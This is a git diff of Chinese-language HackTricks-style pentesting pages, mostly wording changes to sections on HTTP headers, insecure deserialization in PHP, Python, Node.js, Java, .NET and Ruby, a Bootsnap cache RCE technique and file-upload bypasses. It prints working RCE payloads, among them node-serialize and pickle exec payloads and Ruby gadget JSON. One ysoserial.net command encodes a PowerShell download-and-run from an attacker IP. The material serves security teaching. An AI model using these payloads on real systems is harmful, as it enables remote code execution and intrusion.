- `Pragma: no-cache` 与 `Cache-Control: no-cache` 相同
|
||||
- `Warning`: **`Warning`** 一般 HTTP 头包含有关消息状态可能存在的问题的信息。响应中可能出现多个 `Warning` 头。`Warning: 110 anderson/1.3.37 "Response is stale"`
|
||||
- `Warning`: **`Warning`** 一般 HTTP 头包含有关消息状态可能存在问题的信息。响应中可能出现多个 `Warning` 头。`Warning: 110 anderson/1.3.37 "Response is stale"`
|
||||
|
||||
## 条件
|
||||
## 条件请求
|
||||
|
||||
- 使用这些头的请求:**`If-Modified-Since`** 和 **`If-Unmodified-Since`** 仅在响应头\*\*`Last-Modified`\*\* 包含不同时间时才会返回数据。
|
||||
- 使用这些头的请求:**`If-Modified-Since`** 和 **`If-Unmodified-Since`** 仅在响应头 **`Last-Modified`** 包含不同时间时才会返回数据。
|
||||
- 使用 **`If-Match`** 和 **`If-None-Match`** 的条件请求使用 Etag 值,因此如果数据(Etag)已更改,Web 服务器将发送响应的内容。`Etag` 是从 HTTP 响应中获取的。
|
||||
- **Etag** 值通常是 **基于** 响应的 **内容** 计算的。例如,`ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` 表示 `Etag` 是 **37 字节** 的 **Sha1**。
|
||||
|
||||
## 范围请求
|
||||
|
||||
- **`Accept-Ranges`**: 指示服务器是否支持范围请求,如果支持,则以哪种单位表示范围。`Accept-Ranges: <range-unit>`
|
||||
- **`Range`**: 指示服务器应返回文档的部分。
|
||||
- **`Range`**: 指示服务器应返回文档的部分。例如,`Range:80-100` 将返回原始响应的字节 80 到 100,状态码为 206 部分内容。还要记得从请求中删除 `Accept-Encoding` 头。
|
||||
- 这可能有助于获取包含任意反射 JavaScript 代码的响应,否则可能会被转义。但要滥用这一点,您需要在请求中注入这些头。
|
||||
- **`If-Range`**: 创建一个条件范围请求,仅在给定的 etag 或日期与远程资源匹配时满足。用于防止从不兼容版本的资源下载两个范围。
|
||||
- **`Content-Range`**: 指示部分消息在完整消息体中的位置。
|
||||
|
||||
@ -92,11 +93,11 @@
|
||||
- **`Content-Length`:** 资源的大小,以字节的十进制数表示。
|
||||
- **`Content-Type`**: 指示资源的媒体类型
|
||||
- **`Content-Encoding`**: 用于指定压缩算法。
|
||||
- **`Content-Language`**: 描述面向受众的人类语言,以便用户可以根据自己偏好的语言进行区分。
|
||||
- **`Content-Language`**: 描述面向受众的人类语言,以便用户能够根据自己偏好的语言进行区分。
|
||||
- **`Content-Location`**: 指示返回数据的替代位置。
|
||||
|
||||
从渗透测试的角度来看,这些信息通常是“无用的”,但如果资源受到 **401** 或 **403** 的保护,并且您可以找到某种 **方法** 来 **获取** 这些 **信息**,这可能会很 **有趣**。\
|
||||
例如,在 HEAD 请求中 **`Range`** 和 **`Etag`** 的组合可以通过 HEAD 请求泄露页面的内容:
|
||||
从渗透测试的角度来看,这些信息通常是“无用的”,但如果资源受到 **401** 或 **403** 的保护,并且您可以找到某种 **方法** 来 **获取** 这些 **信息**,这可能是 **有趣的**。\
|
||||
例如,在 HEAD 请求中结合 **`Range`** 和 **`Etag`** 可以通过 HEAD 请求泄露页面的内容:
|
||||
|
||||
- 带有头 `Range: bytes=20-20` 的请求和包含 `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` 的响应泄露了字节 20 的 SHA1 为 `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
|
||||
|
||||
@ -108,7 +109,7 @@
|
||||
## 控制
|
||||
|
||||
- **`Allow`**: 此头用于传达资源可以处理的 HTTP 方法。例如,它可能被指定为 `Allow: GET, POST, HEAD`,表示资源支持这些方法。
|
||||
- **`Expect`**: 客户端用于传达服务器需要满足的期望,以便请求能够成功处理。一个常见的用例涉及 `Expect: 100-continue` 头,表示客户端打算发送大量数据负载。客户端在继续传输之前会寻找 `100 (Continue)` 响应。此机制通过等待服务器确认来优化网络使用。
|
||||
- **`Expect`**: 客户端用于传达服务器需要满足的期望,以便请求能够成功处理。一个常见的用例涉及 `Expect: 100-continue` 头,表示客户端打算发送大量数据负载。客户端在继续传输之前会寻找 `100 (Continue)` 响应。此机制有助于通过等待服务器确认来优化网络使用。
|
||||
|
||||
## 下载
|
||||
|
||||
@ -157,15 +158,15 @@ X-Content-Type-Options: nosniff
|
||||
```
|
||||
X-Frame-Options: DENY
|
||||
```
|
||||
### **跨源资源策略 (CORP) 和跨源资源共享 (CORS)**
|
||||
### **Cross-Origin Resource Policy (CORP) 和 Cross-Origin Resource Sharing (CORS)**
|
||||
|
||||
CORP 对于指定哪些资源可以被网站加载至关重要,减轻跨站泄漏。另一方面,CORS 允许更灵活的跨源资源共享机制,在某些条件下放宽同源策略。
|
||||
CORP 对于指定哪些资源可以被网站加载至关重要,减轻跨站泄漏。另一方面,CORS 允许更灵活的跨源资源共享机制,在某些条件下放宽同源政策。
|
||||
```
|
||||
Cross-Origin-Resource-Policy: same-origin
|
||||
Access-Control-Allow-Origin: https://example.com
|
||||
Access-Control-Allow-Credentials: true
|
||||
```
|
||||
### **跨源嵌入策略 (COEP) 和跨源打开策略 (COOP)**
|
||||
### **Cross-Origin Embedder Policy (COEP) 和 Cross-Origin Opener Policy (COOP)**
|
||||
|
||||
COEP 和 COOP 对于启用跨源隔离至关重要,显著降低了类似 Spectre 的攻击风险。它们分别控制跨源资源的加载和与跨源窗口的交互。
|
||||
```
|
||||
|
@ -17,7 +17,7 @@
|
||||
- `__sleep`: 在对象被序列化时调用。此方法应返回一个数组,包含所有应被序列化的对象属性的名称。它通常用于提交待处理的数据或执行类似的清理任务。
|
||||
- `__wakeup`: 在对象被反序列化时调用。它用于重新建立在序列化过程中可能丢失的任何数据库连接,并执行其他重新初始化任务。
|
||||
- `__unserialize`: 当对象被反序列化时,此方法会被调用(如果存在),而不是 `__wakeup`。与 `__wakeup` 相比,它对反序列化过程提供了更多控制。
|
||||
- `__destruct`: 当对象即将被销毁或脚本结束时调用此方法。它通常用于清理任务,例如关闭文件句柄或数据库连接。
|
||||
- `__destruct`: 当对象即将被销毁或脚本结束时调用此方法。它通常用于清理任务,如关闭文件句柄或数据库连接。
|
||||
- `__toString`: 此方法允许将对象视为字符串。它可以用于读取文件或其他基于其中函数调用的任务,有效地提供对象的文本表示。
|
||||
```php
|
||||
<?php
|
||||
@ -90,11 +90,11 @@ This is a test<br />
|
||||
> }
|
||||
> ```
|
||||
|
||||
你可以在这里阅读一个解释过的 **PHP 示例**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/),在这里 [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) 或在这里 [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
|
||||
你可以在这里阅读解释过的**PHP示例**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/),这里 [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) 或这里 [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
|
||||
|
||||
### PHP 反序列化 + 自动加载类
|
||||
|
||||
你可以滥用 PHP 自动加载功能来加载任意的 php 文件等:
|
||||
你可以滥用 PHP 自动加载功能来加载任意 php 文件等:
|
||||
|
||||
{{#ref}}
|
||||
php-deserialization-+-autoload-classes.md
|
||||
@ -117,13 +117,13 @@ $ser=serialize($o);
|
||||
```
|
||||
### PHPGGC (ysoserial for PHP)
|
||||
|
||||
[**PHPGGC**](https://github.com/ambionics/phpggc) 可以帮助你生成利用 PHP 反序列化的有效载荷。\
|
||||
请注意,在某些情况下,你 **无法在应用程序的源代码中找到利用反序列化的方法**,但你可能能够 **利用外部 PHP 扩展的代码。**\
|
||||
因此,如果可以,请检查服务器的 `phpinfo()` 并 **在互联网上搜索**(甚至在 **PHPGGC** 的 **gadgets** 中)一些可能的你可以利用的 gadget。
|
||||
[**PHPGGC**](https://github.com/ambionics/phpggc) 可以帮助你生成有效载荷以滥用 PHP 反序列化。\
|
||||
请注意,在某些情况下,你 **无法在应用程序的源代码中找到滥用反序列化的方法**,但你可能能够 **滥用外部 PHP 扩展的代码。**\
|
||||
因此,如果可以,请检查服务器的 `phpinfo()` 并 **在互联网上搜索**(甚至在 **PHPGGC** 的 **gadgets** 中)一些可能的 gadget 你可以滥用。
|
||||
|
||||
### phar:// metadata deserialization
|
||||
|
||||
如果你发现一个 LFI 只是读取文件而不执行其中的 PHP 代码,例如使用 _**file_get_contents(), fopen(), file() 或 file_exists(), md5_file(), filemtime() 或 filesize()**_**。** 你可以尝试利用在使用 **phar** 协议读取 **文件** 时发生的 **反序列化**。\
|
||||
如果你发现一个 LFI 只是读取文件而不执行其中的 PHP 代码,例如使用 _**file_get_contents(), fopen(), file() 或 file_exists(), md5_file(), filemtime() 或 filesize()**_**。** 你可以尝试滥用在使用 **phar** 协议时 **读取** **文件** 发生的 **反序列化**。\
|
||||
有关更多信息,请阅读以下帖子:
|
||||
|
||||
{{#ref}}
|
||||
@ -135,7 +135,7 @@ $ser=serialize($o);
|
||||
### **Pickle**
|
||||
|
||||
当对象被反序列化时,函数 \_\_\_reduce\_\_\_ 将被执行。\
|
||||
当被利用时,服务器可能会返回一个错误。
|
||||
当被利用时,服务器可能会返回错误。
|
||||
```python
|
||||
import pickle, os, base64
|
||||
class P(object):
|
||||
@ -145,7 +145,7 @@ print(base64.b64encode(pickle.dumps(P())))
|
||||
```
|
||||
在检查绕过技术之前,如果您正在运行 python3,请尝试使用 `print(base64.b64encode(pickle.dumps(P(),2)))` 生成与 python2 兼容的对象。
|
||||
|
||||
有关从 **pickle jails** 中逃脱的更多信息,请查看:
|
||||
有关逃离 **pickle jails** 的更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
|
||||
@ -172,7 +172,7 @@ python-yaml-deserialization.md
|
||||
JS **没有像 PHP 或 Python 那样的 "魔法" 函数**,这些函数仅用于创建对象而被执行。但它有一些 **函数**,即使没有直接调用它们也 **经常使用**,例如 **`toString`**、**`valueOf`**、**`toJSON`**。\
|
||||
如果滥用反序列化,您可以 **妥协这些函数以执行其他代码**(可能滥用原型污染),当它们被调用时,您可以执行任意代码。
|
||||
|
||||
另一种 **"魔法" 调用函数** 的方式是 **妥协一个由异步函数**(promise)**返回的对象**。因为,如果您 **将**该 **返回对象** 转换为另一个 **promise**,并具有一个名为 **"then" 的函数类型属性**,它将仅因为它是由另一个 promise 返回而被 **执行**。_有关更多信息,请_ [_**点击此链接**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _。_
|
||||
另一种 **"魔法" 调用函数** 的方式是通过 **妥协一个由异步函数**(promise)**返回的对象**。因为,如果您 **将**该 **返回对象** 转换为另一个 **promise**,并具有一个名为 **"then" 的函数类型属性**,它将仅因为它是由另一个 promise 返回而被 **执行**。_有关更多信息,请_ [_**点击此链接**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _。_
|
||||
```javascript
|
||||
// If you can compromise p (returned object) to be a promise
|
||||
// it will be executed just because it's the return object of an async function:
|
||||
@ -243,18 +243,18 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er
|
||||
}
|
||||
serialize.unserialize(test)
|
||||
```
|
||||
正如之前所指出的,这个库将在`_$$ND_FUNC$$_`之后获取代码并将其**执行**,使用`eval`。因此,为了**自动执行代码**,您可以**删除函数创建**部分和最后一个括号,并**仅执行一个JS单行代码**,如下例所示:
|
||||
如前所述,该库将在`_$$ND_FUNC$$_`之后获取代码并将其**执行**,因此,为了**自动执行代码**,您可以**删除函数创建**部分和最后一个括号,并**仅执行一个 JS 单行代码**,如下例所示:
|
||||
```javascript
|
||||
var serialize = require("node-serialize")
|
||||
var test =
|
||||
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
|
||||
serialize.unserialize(test)
|
||||
```
|
||||
您可以在[**这里找到**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **更多信息**,了解如何利用此漏洞。
|
||||
您可以[**在这里找到**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **有关如何利用此漏洞的更多信息**。
|
||||
|
||||
### [funcster](https://www.npmjs.com/package/funcster)
|
||||
|
||||
**funcster** 的一个显著特点是 **标准内置对象** 的不可访问性;它们超出了可访问范围。此限制阻止了尝试在内置对象上调用方法的代码执行,当使用 `console.log()` 或 `require(something)` 等命令时,会导致 `"ReferenceError: console is not defined"` 等异常。
|
||||
**funcster**的一个显著特点是**标准内置对象**的不可访问性;它们超出了可访问范围。此限制阻止了尝试在内置对象上调用方法的代码的执行,当使用诸如`console.log()`或`require(something)`的命令时,会导致诸如`"ReferenceError: console is not defined"`的异常。
|
||||
|
||||
尽管有此限制,但通过特定方法可以恢复对全局上下文的完全访问,包括所有标准内置对象。通过直接利用全局上下文,可以绕过此限制。例如,可以使用以下代码片段重新建立访问:
|
||||
```javascript
|
||||
@ -278,7 +278,7 @@ __js_function:
|
||||
}
|
||||
funcster.deepDeserialize(desertest3)
|
||||
```
|
||||
**有关**[ **更多信息,请阅读此来源**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**。**
|
||||
**有关更多信息,请阅读此来源**[ **source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||||
|
||||
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
|
||||
|
||||
@ -322,13 +322,13 @@ deserialize(test)
|
||||
要识别代码库中的潜在序列化漏洞,请搜索:
|
||||
|
||||
- 实现了 `Serializable` 接口的类。
|
||||
- 使用 `java.io.ObjectInputStream`、`readObject`、`readUnshared` 函数。
|
||||
- 使用 `java.io.ObjectInputStream`、`readObject`、`readUnshare` 函数。
|
||||
|
||||
特别注意:
|
||||
|
||||
- 与外部用户定义的参数一起使用的 `XMLDecoder`。
|
||||
- `XMLDecoder` 与外部用户定义的参数一起使用。
|
||||
- `XStream` 的 `fromXML` 方法,特别是当 XStream 版本小于或等于 1.46 时,因为它容易受到序列化问题的影响。
|
||||
- 与 `readObject` 方法结合使用的 `ObjectInputStream`。
|
||||
- `ObjectInputStream` 与 `readObject` 方法结合使用。
|
||||
- 实现 `readObject`、`readObjectNodData`、`readResolve` 或 `readExternal` 等方法。
|
||||
- `ObjectInputStream.readUnshared`。
|
||||
- 一般使用 `Serializable`。
|
||||
@ -372,7 +372,7 @@ GadgetProbe专注于**`ObjectInputStream`反序列化**。
|
||||
Java Deserialization Scanner专注于**`ObjectInputStream`**反序列化。
|
||||
|
||||
您还可以使用[**Freddy**](https://github.com/nccgroup/freddy)来**检测Burp中的反序列化**漏洞。此插件将检测**不仅是`ObjectInputStream`**相关的漏洞,还**包括**来自**Json**和**Yml**反序列化库的漏洞。在主动模式下,它将尝试使用延迟或DNS有效载荷来确认它们。\
|
||||
[**您可以在这里找到更多关于Freddy的信息。**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
||||
[**您可以在这里找到有关Freddy的更多信息。**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
||||
|
||||
**序列化测试**
|
||||
|
||||
@ -493,17 +493,17 @@ mvn clean package -DskipTests
|
||||
|
||||
Java在各种目的上使用了大量的序列化,例如:
|
||||
|
||||
- **HTTP请求**: 序列化广泛用于参数、ViewState、cookies等的管理。
|
||||
- **HTTP请求**: 序列化广泛应用于参数、ViewState、cookies等的管理。
|
||||
- **RMI (远程方法调用)**: Java RMI协议完全依赖于序列化,是Java应用程序中远程通信的基石。
|
||||
- **RMI over HTTP**: 这种方法通常被基于Java的厚客户端web应用使用,利用序列化进行所有对象通信。
|
||||
- **JMX (Java管理扩展)**: JMX利用序列化在网络上传输对象。
|
||||
- **自定义协议**: 在Java中,标准做法涉及传输原始Java对象,这将在即将到来的利用示例中演示。
|
||||
- **自定义协议**: 在Java中,标准做法涉及传输原始Java对象,这将在即将到来的漏洞示例中演示。
|
||||
|
||||
### Prevention
|
||||
|
||||
#### Transient objects
|
||||
|
||||
一个实现了`Serializable`的类可以将类内任何不应该被序列化的对象实现为`transient`。例如:
|
||||
一个实现了`Serializable`的类可以将类中任何不应该被序列化的对象实现为`transient`。例如:
|
||||
```java
|
||||
public class myAccount implements Serializable
|
||||
{
|
||||
@ -518,7 +518,7 @@ private final void readObject(ObjectInputStream in) throws java.io.IOException {
|
||||
throw new java.io.IOException("Cannot be deserialized");
|
||||
}
|
||||
```
|
||||
#### **增强Java中的反序列化安全性**
|
||||
#### **增强 Java 中的反序列化安全性**
|
||||
|
||||
**自定义 `java.io.ObjectInputStream`** 是保护反序列化过程的实用方法。当满足以下条件时,此方法适用:
|
||||
|
||||
@ -546,7 +546,7 @@ return super.resolveClass(desc);
|
||||
}
|
||||
}
|
||||
```
|
||||
**使用 Java 代理增强安全性** 提供了一种在无法修改代码时的后备解决方案。此方法主要适用于 **黑名单有害类**,使用 JVM 参数:
|
||||
**使用 Java Agent 进行安全增强** 提供了一种在无法修改代码时的备用解决方案。此方法主要用于 **黑名单有害类**,使用 JVM 参数:
|
||||
```
|
||||
-javaagent:name-of-agent.jar
|
||||
```
|
||||
@ -598,7 +598,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
|
||||
## JMS - Java消息服务
|
||||
|
||||
> **Java消息服务**(**JMS**)API是一个Java面向消息的中间件API,用于在两个或多个客户端之间发送消息。它是处理生产者-消费者问题的实现。JMS是Java平台企业版(Java EE)的一部分,由Sun Microsystems开发的规范定义,但此后由Java社区过程指导。它是一种消息标准,允许基于Java EE的应用程序组件创建、发送、接收和读取消息。它允许分布式应用程序的不同组件之间的通信是松耦合、可靠和异步的。(来自[维基百科](https://en.wikipedia.org/wiki/Java_Message_Service))。
|
||||
> **Java消息服务**(**JMS**)API是一个Java面向消息的中间件API,用于在两个或多个客户端之间发送消息。它是处理生产者-消费者问题的实现。JMS是Java平台企业版(Java EE)的一部分,由Sun Microsystems开发的规范定义,但此后由Java社区过程指导。它是一种消息标准,允许基于Java EE的应用程序组件创建、发送、接收和读取消息。它允许分布式应用程序的不同组件之间的通信是松散耦合、可靠和异步的。(来自[维基百科](https://en.wikipedia.org/wiki/Java_Message_Service))。
|
||||
|
||||
### 产品
|
||||
|
||||
@ -610,12 +610,12 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
|
||||
### 利用
|
||||
|
||||
所以,基本上有**一堆服务以危险的方式使用JMS**。因此,如果您有**足够的权限**向这些服务发送消息(通常您需要有效的凭据),您可能能够发送**恶意对象序列化,这些对象将被消费者/订阅者反序列化**。\
|
||||
所以,基本上有**一堆服务以危险的方式使用JMS**。因此,如果您有**足够的权限**向这些服务发送消息(通常您需要有效的凭据),您将能够发送**恶意序列化对象,这些对象将被消费者/订阅者反序列化**。\
|
||||
这意味着在此利用中,所有**将使用该消息的客户端将被感染**。
|
||||
|
||||
您应该记住,即使服务存在漏洞(因为它不安全地反序列化用户输入),您仍然需要找到有效的gadget来利用该漏洞。
|
||||
|
||||
工具[JMET](https://github.com/matthiaskaiser/jmet)被创建用于**连接和攻击这些服务,发送多个使用已知gadget序列化的恶意对象**。这些利用将在服务仍然存在漏洞且所使用的gadget在易受攻击的应用程序中时有效。
|
||||
工具[JMET](https://github.com/matthiaskaiser/jmet)被创建用于**连接和攻击这些服务,发送多个使用已知gadget序列化的恶意对象**。这些利用将在服务仍然存在漏洞且所使用的任何gadget在易受攻击的应用程序中时有效。
|
||||
|
||||
### 参考文献
|
||||
|
||||
@ -624,7 +624,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
|
||||
## .Net
|
||||
|
||||
在.Net的上下文中,反序列化利用以类似于Java的方式操作,其中gadget被利用在反序列化对象时运行特定代码。
|
||||
在.Net的上下文中,反序列化利用以类似于Java的方式操作,其中gadget被利用以在反序列化对象时运行特定代码。
|
||||
|
||||
### 指纹
|
||||
|
||||
@ -651,7 +651,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
|
||||
- **`--gadget`**用于指示要滥用的gadget(指示在反序列化期间将被滥用以执行命令的类/函数)。
|
||||
- **`--formatter`**,用于指示序列化利用的方法(您需要知道后端使用哪个库来反序列化有效负载,并使用相同的库进行序列化)
|
||||
- **`--output`**用于指示您希望以**原始**或**base64**编码的形式获得利用。_请注意,**ysoserial.net**将使用**UTF-16LE**(Windows上默认使用的编码)对有效负载进行**编码,因此如果您从Linux控制台获取原始数据并仅对其进行编码,您可能会遇到一些**编码兼容性问题**,这将导致利用无法正常工作(在HTB JSON框中,有效负载在UTF-16LE和ASCII中均有效,但这并不意味着它总是有效)。_
|
||||
- **`--output`**用于指示您希望以**原始**或**base64**编码的形式获得利用。_请注意,**ysoserial.net**将使用**UTF-16LE**(Windows上默认使用的编码)对有效负载进行**编码,因此如果您从Linux控制台获取原始数据并仅对其进行编码,您可能会遇到一些**编码兼容性问题**,这将阻止利用正常工作(在HTB JSON框中,有效负载在UTF-16LE和ASCII中均有效,但这并不意味着它总是有效)。_
|
||||
- **`--plugin`**ysoserial.net支持插件以制作**特定框架的利用**,如ViewState
|
||||
|
||||
#### 更多ysoserial.net参数
|
||||
@ -678,9 +678,9 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
|
||||
#Create exploit using the created B64 shellcode
|
||||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
|
||||
```
|
||||
**ysoserial.net** 还有一个 **非常有趣的参数**,可以帮助更好地理解每个漏洞是如何工作的: `--test`\
|
||||
如果你指定这个参数,**ysoserial.net** 将会 **在本地尝试** 这个 **漏洞,** 这样你可以测试你的有效载荷是否能正常工作。\
|
||||
这个参数很有帮助,因为如果你查看代码,你会发现像以下这样的代码块(来自 [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
|
||||
**ysoserial.net** 还有一个 **非常有趣的参数**,可以更好地理解每个漏洞是如何工作的: `--test`\
|
||||
如果您指定此参数,**ysoserial.net** 将 **在本地尝试** **漏洞**,因此您可以测试您的有效载荷是否能正常工作。\
|
||||
这个参数很有帮助,因为如果您查看代码,您会发现像以下这样的代码块(来自 [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
|
||||
```java
|
||||
if (inputArgs.Test)
|
||||
{
|
||||
@ -862,7 +862,7 @@ candidate_methods.length() # Final number of methods=> 3595
|
||||
|
||||
此技术取自[ **这篇博客文章**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared)。
|
||||
|
||||
还有其他 Ruby 库可以用来序列化对象,因此可以被滥用以在不安全的反序列化期间获得 RCE。下表显示了一些这些库及其在反序列化时调用的加载库中的方法(基本上是滥用以获得 RCE 的函数):
|
||||
还有其他 Ruby 库可以用来序列化对象,因此可以被滥用以在不安全的反序列化过程中获得 RCE。下表显示了一些这些库及其在反序列化时调用的加载库中的方法(基本上是滥用以获得 RCE 的函数):
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>库</strong></td><td><strong>输入数据</strong></td><td><strong>类内部启动方法</strong></td></tr><tr><td>Marshal (Ruby)</td><td>二进制</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code>(类需要作为键放入哈希(映射)中)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code>(类需要作为键放入哈希(映射)中)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code>(类需要作为键放入哈希(映射)中)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code>([查看关于 json_create 的说明](#table-vulnerable-sinks))</td></tr></tbody></table>
|
||||
|
||||
@ -888,7 +888,7 @@ puts json_payload
|
||||
# Sink vulnerable inside the code accepting user input as json_payload
|
||||
Oj.load(json_payload)
|
||||
```
|
||||
在尝试滥用 Oj 的情况下,可以找到一个小工具类,它在其 `hash` 函数中会调用 `to_s`,而 `to_s` 会调用 spec,接着调用 fetch_path,这使得它能够获取一个随机 URL,从而很好地检测这些未清理的反序列化漏洞。
|
||||
在尝试滥用 Oj 的情况下,可以找到一个小工具类,它在其 `hash` 函数内部会调用 `to_s`,这将调用 spec,进而调用 fetch_path,最终可以使其获取一个随机 URL,从而很好地检测这些未清理的反序列化漏洞。
|
||||
```json
|
||||
{
|
||||
"^o": "URI::HTTP",
|
||||
@ -900,7 +900,7 @@ Oj.load(json_payload)
|
||||
"password": "anypw"
|
||||
}
|
||||
```
|
||||
此外,发现使用之前的技术在系统中还会创建一个文件夹,这是滥用另一个小工具的要求,以便将其转化为完整的 RCE,类似于:
|
||||
此外,发现使用前述技术在系统中还会创建一个文件夹,这是滥用另一个小工具的要求,以便将其转化为完整的 RCE,类似于:
|
||||
```json
|
||||
{
|
||||
"^o": "Gem::Resolver::SpecSpecification",
|
||||
@ -922,6 +922,42 @@ Oj.load(json_payload)
|
||||
}
|
||||
}
|
||||
```
|
||||
查看更多细节请访问[**原始帖子**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared)。
|
||||
检查更多细节请参见[**原始帖子**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared)。
|
||||
|
||||
### Bootstrap Caching
|
||||
|
||||
这实际上不是一个反序列化漏洞,而是一个利用 bootstrap 缓存来从 Rails 应用程序中获取 RCE 的好技巧(完整的[原始帖子在这里](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/))。
|
||||
|
||||
以下是文章中详细描述的通过滥用 Bootsnap 缓存来利用任意文件写入漏洞的步骤的简要总结:
|
||||
|
||||
- 识别漏洞和环境
|
||||
|
||||
Rails 应用程序的文件上传功能允许攻击者任意写入文件。尽管该应用程序在限制下运行(由于 Docker 的非根用户,只有某些目录如 tmp 可写),但这仍然允许写入 Bootsnap 缓存目录(通常在 tmp/cache/bootsnap 下)。
|
||||
|
||||
- 理解 Bootsnap 的缓存机制
|
||||
|
||||
Bootsnap 通过缓存编译的 Ruby 代码、YAML 和 JSON 文件来加快 Rails 启动时间。它存储包含缓存键头的缓存文件(带有 Ruby 版本、文件大小、mtime、编译选项等字段),后面跟着编译的代码。此头用于在应用程序启动时验证缓存。
|
||||
|
||||
- 收集文件元数据
|
||||
|
||||
攻击者首先选择一个在 Rails 启动期间可能加载的目标文件(例如,Ruby 标准库中的 set.rb)。通过在容器内执行 Ruby 代码,他们提取关键元数据(如 RUBY_VERSION、RUBY_REVISION、大小、mtime 和 compile_option)。这些数据对于构造有效的缓存键至关重要。
|
||||
|
||||
- 计算缓存文件路径
|
||||
|
||||
通过复制 Bootsnap 的 FNV-1a 64 位哈希机制,确定正确的缓存文件路径。此步骤确保恶意缓存文件被放置在 Bootsnap 期望的位置(例如,在 tmp/cache/bootsnap/compile-cache-iseq/ 下)。
|
||||
|
||||
- 构造恶意缓存文件
|
||||
|
||||
攻击者准备一个有效载荷,该有效载荷:
|
||||
|
||||
- 执行任意命令(例如,运行 id 以显示进程信息)。
|
||||
- 在执行后删除恶意缓存,以防止递归利用。
|
||||
- 加载原始文件(例如,set.rb)以避免崩溃应用程序。
|
||||
|
||||
该有效载荷被编译成二进制 Ruby 代码,并与精心构造的缓存键头连接在一起(使用先前收集的元数据和 Bootsnap 的正确版本号)。
|
||||
|
||||
- 覆盖并触发执行
|
||||
|
||||
利用任意文件写入漏洞,攻击者将构造的缓存文件写入计算的位置。接下来,他们触发服务器重启(通过写入 tmp/restart.txt,Puma 会监控该文件)。在重启期间,当 Rails 需要目标文件时,恶意缓存文件被加载,从而导致远程代码执行(RCE)。
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -21,7 +21,7 @@
|
||||
2. _检查**在执行扩展名之前添加有效扩展名**(也使用之前的扩展名):_
|
||||
- _file.png.php_
|
||||
- _file.png.Php5_
|
||||
3. 尝试在末尾添加**特殊字符**。可以使用Burp来**暴力破解**所有的**ascii**和**Unicode**字符。(_注意你也可以尝试使用**之前**提到的**扩展名**_)
|
||||
3. 尝试在末尾添加**特殊字符**。可以使用Burp来**暴力破解**所有**ascii**和**Unicode**字符。 (_注意你也可以尝试使用**之前**提到的**扩展名**_)
